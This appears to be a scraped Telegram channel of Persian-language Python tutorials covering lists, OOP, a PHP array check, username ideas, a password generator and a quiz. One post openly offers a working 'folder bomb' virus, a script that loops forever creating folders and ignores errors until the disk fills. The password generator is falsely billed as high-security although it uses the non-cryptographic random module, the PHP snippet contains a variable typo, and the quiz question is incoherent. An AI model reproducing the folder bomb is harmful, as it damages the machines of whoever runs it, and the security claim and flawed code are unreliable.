Python3
199 subscribers
101 photos
6 videos
26 files
518 links
🎓 آموزش و پروژه‌های Python
آموزش‌های کاربردی و پروژه‌های عملی Python برای همه سطوح. 🚀
Download Telegram
🆕️ آموزش آرایه‌ها در پایتون رو داریم اینبار ❗️

آرایه‌ها یکی از ساختارهای داده‌ای مهم در پایتون هستند که به ما اجازه می‌دهند تا مجموعه‌ای از مقادیر را در یک متغیر ذخیره کنیم. در این آموزش، ما به بررسی آرایه‌ها، نحوه ایجاد، دسترسی و تغییر عناصر آنها، و برخی از عملیات‌های مهم روی آرایه‌ها می‌پردازیم.

1. ایجاد یک آرایه
برای ایجاد یک آرایه در پایتون، می‌توانید از لیست‌ها استفاده کنید. لیست‌ها قابلیت نگهداری انواع مختلف داده‌ها را دارند.

# ایجاد یک آرایه از اعداد صحیح
numbers = [1, 2, 3, 4, 5]

# ایجاد یک آرایه از رشته‌ها
fruits = ["apple", "banana", "cherry"]

2. دسترسی به عناصر آرایه
می‌توانید با استفاده از اندیس‌ها به عناصر آرایه دسترسی پیدا کنید. اندیس‌ها از 0 شروع می‌شوند.

# دسترسی به اولین عنصر
print(numbers[0]) # خروجی: 1

# دسترسی به دومین عنصر از انتها
print(fruits[-2]) # خروجی: banana

3. تغییر عناصر آرایه
شما می‌توانید عناصر موجود در یک آرایه را تغییر دهید.

# تغییر اولین عنصر
numbers[0] = 10
print(numbers) # خروجی: [10, 2, 3, 4, 5]

# تغییر دومین عنصر
fruits[1] = "blueberry"
print(fruits) # خروجی: ["apple", "blueberry", "cherry"]

4. افزودن عناصر به آرایه
شما می‌توانید با استفاده از متد append، عناصر جدیدی به آرایه اضافه کنید.

# افزودن یک عدد به آرایه
numbers.append(6)
print(numbers) # خروجی: [10, 2, 3, 4, 5, 6]

# افزودن یک میوه به آرایه
fruits.append("orange")
print(fruits) # خروجی: ["apple", "blueberry", "cherry", "orange"]

5. حذف عناصر از آرایه
برای حذف عناصر از آرایه می‌توانید از متد remove یا pop استفاده کنید.

# حذف یک عدد مشخص
numbers.remove(3)
print(numbers) # خروجی: [10, 2, 4, 5, 6]

# حذف عنصر با استفاده از اندیس
removed_fruit = fruits.pop(1)
print(fruits) # خروجی: ["apple", "cherry", "orange"]
print(removed_fruit) # خروجی: blueberry

6. پیمایش آرایه
می‌توانید با استفاده از حلقه‌ها، عناصر آرایه را پیمایش کنید.

# پیمایش با استفاده از حلقه for
for number in numbers:
print(number)
# خروجی:
# 10
# 2
# 4
# 5
# 6

# پیمایش با استفاده از اندیس
for i in range(len(fruits)):
print(fruits[i])
# خروجی:
# apple
# cherry
# orange

7. برخی از متدهای مفید دیگر
پایتون متدهای زیادی برای کار با لیست‌ها دارد که در ادامه به چند نمونه اشاره می‌کنیم:

# شمارش تعداد تکرار یک عنصر
count_of_apple = fruits.count("apple")
print(count_of_apple) # خروجی: 1

# پیدا کردن اندیس یک عنصر
index_of_orange = fruits.index("orange")
print(index_of_orange) # خروجی: 2

# معکوس کردن لیست
numbers.reverse()
print(numbers) # خروجی: [6, 5, 4, 2, 10]

# مرتب‌سازی لیست
numbers.sort()
print(numbers) # خروجی: [2, 4, 5, 6, 10]

---

🆗️این آموزش مختصر می‌تواند به شما کمک کند تا مفاهیم پایه‌ای آرایه‌ها در پایتون را یاد بگیرید و اگه از آموزش های من خوشتون میاد اینجا عضو شید دارم زحمت میکشم خدایی👇به بقیه هم معرفی کنید کانال منو👇

🔗https://t.iss.one/hamidpython123
---
👍1
🆕️ آموزش شی‌گرایی در پایتون رو هم داریم بریم که توضیح بدم👇❗️

شی‌گرایی (Object-Oriented Programming یا OOP) یک روش برنامه‌نویسی است که حول مفهوم "اشیا" و "کلاس‌ها" بنا شده است. در این آموزش، ما به بررسی اصول پایه شی‌گرایی در پایتون، از جمله کلاس‌ها، اشیا، وراثت و چندریختی می‌پردازیم.

1. کلاس‌ها و اشیا
کلاس‌ها قالب‌هایی برای ایجاد اشیا هستند. هر کلاس می‌تواند ویژگی‌ها (متغیرها) و متدها (توابع) خاص خود را داشته باشد.

# تعریف یک کلاس ساده
class Dog:
# متد سازنده
def __init__(self, name, age):
self.name = name
self.age = age

# متدی برای معرفی سگ
def bark(self):
print(f"{self.name} is barking")

# ایجاد یک شی از کلاس Dog
dog1 = Dog("Buddy", 3)

# دسترسی به ویژگی‌ها و متدهای شی
print(dog1.name) # خروجی: Buddy
print(dog1.age) # خروجی: 3
dog1.bark() # خروجی: Buddy is barking

در این مثال، یک کلاس به نام Dog تعریف کرده‌ایم که دو ویژگی name و age دارد و یک متد bark برای صدای سگ.

2. وراثت (Inheritance)
وراثت به شما اجازه می‌دهد تا یک کلاس جدید را بر اساس یک کلاس موجود تعریف کنید و ویژگی‌ها و متدهای آن را به ارث ببرید.

# تعریف یک کلاس پدر
class Animal:
def __init__(self, name):
self.name = name

def eat(self):
print(f"{self.name} is eating")

# تعریف یک کلاس فرزند که از Animal ارث می‌برد
class Cat(Animal):
def meow(self):
print(f"{self.name} is meowing")

# ایجاد یک شی از کلاس Cat
cat1 = Cat("Whiskers")

# دسترسی به ویژگی‌ها و متدهای کلاس پدر و کلاس فرزند
cat1.eat() # خروجی: Whiskers is eating
cat1.meow() # خروجی: Whiskers is meowing

در این مثال، کلاس Cat از کلاس Animal ارث‌بری کرده است و می‌تواند از متد eat استفاده کند و متد meow را هم به خود اضافه کند.

3. چندریختی (Polymorphism)
چندریختی به شما اجازه می‌دهد تا از متدهای یکسان با رفتارهای مختلف در کلاس‌های مختلف استفاده کنید.

# تعریف یک کلاس پدر
class Bird:
def sound(self):
print("Bird is making a sound")

# تعریف کلاس‌های فرزند که از Bird ارث می‌برند
class Sparrow(Bird):
def sound(self):
print("Sparrow is chirping")

class Crow(Bird):
def sound(self):
print("Crow is cawing")

# استفاده از چندریختی
def make_sound(bird):
bird.sound()

# ایجاد اشیا از کلاس‌های فرزند
sparrow = Sparrow()
crow = Crow()

# استفاده از تابع make_sound
make_sound(sparrow) # خروجی: Sparrow is chirping
make_sound(crow) # خروجی: Crow is cawing

در این مثال، کلاس‌های Sparrow و Crow هر دو متد sound را بازنویسی کرده‌اند و می‌توانند با استفاده از تابع make_sound صدای خاص خود را تولید کنند.

4. کپسوله‌سازی (Encapsulation)
کپسوله‌سازی به مخفی کردن جزئیات داخلی یک کلاس و فراهم کردن دسترسی کنترل شده به آن‌ها می‌پردازد.

# تعریف یک کلاس با ویژگی‌های خصوصی
class BankAccount:
def __init__(self, balance):
self.__balance = balance # ویژگی خصوصی

# متد عمومی برای دسترسی به ویژگی خصوصی
def get_balance(self):
return self.__balance

# متد عمومی برای تغییر ویژگی خصوصی
def deposit(self, amount):
if amount > 0:
self.__balance += amount

# ایجاد یک شی از کلاس BankAccount
account = BankAccount(1000)

# دسترسی به ویژگی‌ها و متدهای کلاس
print(account.get_balance()) # خروجی: 1000
account.deposit(500)
print(account.get_balance()) # خروجی: 1500

در این مثال، ویژگی __balance خصوصی است و تنها از طریق متدهای get_balance و deposit قابل دسترسی و تغییر است.

---

🟥این آموزش مفاهیم پایه‌ای شی‌گرایی در پایتون را پوشش می‌دهد. با یادگیری این اصول، می‌توانید برنامه‌های پیچیده‌تر و منعطف‌تری بنویسید واقعا اگه اموزشای منو دوست دارین کانال منو به دوستانتون معرفی کنید😉👇

🔗https://t.iss.one/hamidpython123

---
👍3
Pdf بهترین کتاب. ها و جزوه های آموزشی پایتون ☝️
👍3
🔴این یه کدی هست که میاد برسی می‌کنه محتوای متغیر $makoran در آرایه $array وجود داره یا نه
کد باحالی بود میتونید استفاده کنید
Php
<?php

$array = array("action1", "action 2", "action 3");
$makoran = "action2";

$exists = in_array($makoran, $array);

if ($exists) {
echo "$makoran مقدار یافت شد";
} else {
echo "$makoram مقدار یافت نشد";
}

?>

🔗https://t.iss.one/hamidpython123
یه سوال پست های من به کارتون اومده تاحالا 🧐
👍2👎1
⁉️یه ویروس هست اسمش بنب پوشه هست کل حافظه سیستمو پر میکنه بعد اجرا باعث میشه رو پردازنده فشار بیاد بزارم؟
Python3
⁉️یه ویروس هست اسمش بنب پوشه هست کل حافظه سیستمو پر میکنه بعد اجرا باعث میشه رو پردازنده فشار بیاد بزارم؟
🆕️این یه برنامه هست به اسم بنب پوشه یک حلقه بینهایت. میسازه و بینهایت تا پوشه در سیستم ایجاد میکنه و هر اروری رو نادیده میگیره و به کارش ادامه میده تا وقتی حافظه سیستم کاملا پر بشه و به بورد فشار میاره ❗️

import os
import random
import string
import time

def generate_random_name(length=8):
"""Generate a random string of fixed length."""
letters = string.ascii_lowercase + string.digits
return ''.join(random.choice(letters) for _ in range(length))

def create_folders(base_path):
"""Continuously create folders with random names."""
while True:
folder_name = generate_random_name()
folder_path = os.path.join(base_path, folder_name)
try:
os.makedirs(folder_path)
print(f"Created folder: {folder_path}")
except Exception as e:
print(f"Error creating folder {folder_path}: {e}")
# Optional: Pause between creations to avoid overwhelming the system
# time.sleep(0.1) # Adjust the sleep time as needed

if __name__ == "__main__":
base_path = "./" # Change this to your desired base path
create_folders(base_path)

🟥کانال منو به دوستاتون معرفی کنید و اگه خودتون عضو نیستین عضو بشین👇👇

🔗https://t.iss.one/hamidpython123
🆕️اگه نمیدونین چه اسمی برای اکانت تلگرام یا حر جایی بزارین که هم خفن باشه هم مربوط به بقیه نشون بده برنامه نویسین اینارو پیشنهاد میکنم😉

1. PythonWizard
2. CodeNinja
3. TechGuru
4. ByteMaster
5. ScriptSorcerer
6. DataMaestro
7. PythonSage
8. ByteBrawler
9. CodingChampion
10. CodeGoddess
11. DevWhiz
12. ByteBoss
13. PythonProphet
14. SpeedScripter
15. TechMagician
16. CodeWarrior
17. PythonPhenom
18. ByteWhisperer
19. CreativeCoder
20. CodeLuminary
21. PythonKing/PythonQueen
22. ByteGuru
23. TechEnchantress
24. CodeMastermind
25. PythonSleuth
26. ByteBolt
27. CyberSorcerer
28. CodeSlinger
29. PythonProdigy
30. ByteBlazer

این اسم هارو اگه دوست داشتین اینجا عضو بشین👇

🔗https://t.iss.one/hamidpython123
🆕️یک کد بهتون میدم برای تولید رمز تصادفی با امنیت بالا ایتوریه که یک عدد به عنوان تعداد ارقام بهش میدیم و اون رمزی با همون تعداد رقم به صورت تصادفی میسازه 👇

import random
import string

def generate_password(length):
password = ''.join(random.choices(string.ascii_letters + string.digits, k=length))
return password

user_number = int(input("لطفاً یک عدد وارد کنید: "))
password = generate_password(user_number)
print("رمز تولید شده: ", password)

🟥اگه این برای رمز نگاری به کارتون اومد اینجا عضو و کانال منو به دوستانتون معرفی کنید 😉👇👇
🔗https://t.iss.one/hamidpython123
فرض کنید شما یک لیست از اعداد صحیح دارید. می‌خواهید زیرلیستی با حداکثر تعداد اعضا با مجموع بیشترین مقدار را بیابید. در هر مرحله شما می‌توانید دو عنصر مجاور را به هم اضافه کنید یا آخرین عنصر را حذف کنید. برخی اعضا ممکن است منفی باشند.
Anonymous Quiz
41%
الف) [1, -3, 2, 1]
27%
ب) [2, 1, -1]
23%
ج) [-3, 2, 1, -1]
9%
د) [1, -3, 1, -1]